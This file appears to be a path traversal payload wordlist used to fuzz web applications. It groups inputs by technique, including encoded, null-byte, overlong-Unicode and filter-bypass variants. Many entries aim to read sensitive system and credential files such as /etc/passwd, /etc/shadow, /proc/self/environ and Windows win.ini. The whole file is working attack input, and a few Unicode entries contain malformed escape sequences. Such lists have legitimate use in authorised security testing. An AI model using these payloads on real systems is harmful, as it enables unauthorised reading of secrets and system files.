# Path Traversal Payloads
# Format: one payload per line
# Lines starting with # are comments

# === Basic Traversal ===
../
..\
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
../../../../../../../../../

# === URL Encoded ===
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%2e%2e\
..%5c
%252e%252e%252f
%252e%252e/
..%252f

# === Double Encoded ===
%252e%252e%252f
%252e%252e%255c
..%252f
%252e%252e/

# === Triple Encoded ===
%25252e%25252e%25252f

# === Null Byte ===
%00
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
../../../etc/passwd%00.html
..%00/
%00../../../etc/passwd

# === Unicode Encoding ===
..%c0%af
..%c1%9c
..%c0%ae
..%c1%pc
..%c1%1c
..%c1%9s
..%c0%qf
..%c1%8s
..%c1%9c
..%c1%af
..%u2216
..%u002e%u002e%u002f
..%uff0e%uff0e%u2216

# === Double Write (Filter Bypass) ===
....//
....//
....//....//....//
....//
....//
..../..../
..././
..././..././
....\....\

# === Mixed Separators ===
..%2f..%5c
..%5c..%2f
..\/..\/..\/
../..\\..\\
..%5c..%5c..%5c

# === Path Truncation ===
/././././././././././
/..\..\..\..\..\..\
./././././././././
.\.\.\.\.\.\.\.\.

# === Wrapper Schemes ===
file:///etc/passwd
file://localhost/etc/passwd
local:///etc/passwd

# === Absolute Path ===
/etc/passwd
/etc/shadow
/proc/self/environ
/proc/self/cmdline
/proc/self/cwd
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:/Windows/win.ini

# === Variable Depth ===
..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5c..%5c..%5cetc%5cpasswd
../../../../../../../../etc/passwd
../../../../../../../../var/log/apache2/access.log
..\..\..\..\..\..\..\..\Windows\win.ini

# === Special Cases ===
....//....//....//etc/passwd
..././..././..././etc/passwd
....\\....\\....\\etc\\passwd
..\..\..\..\..\..\etc\passwd
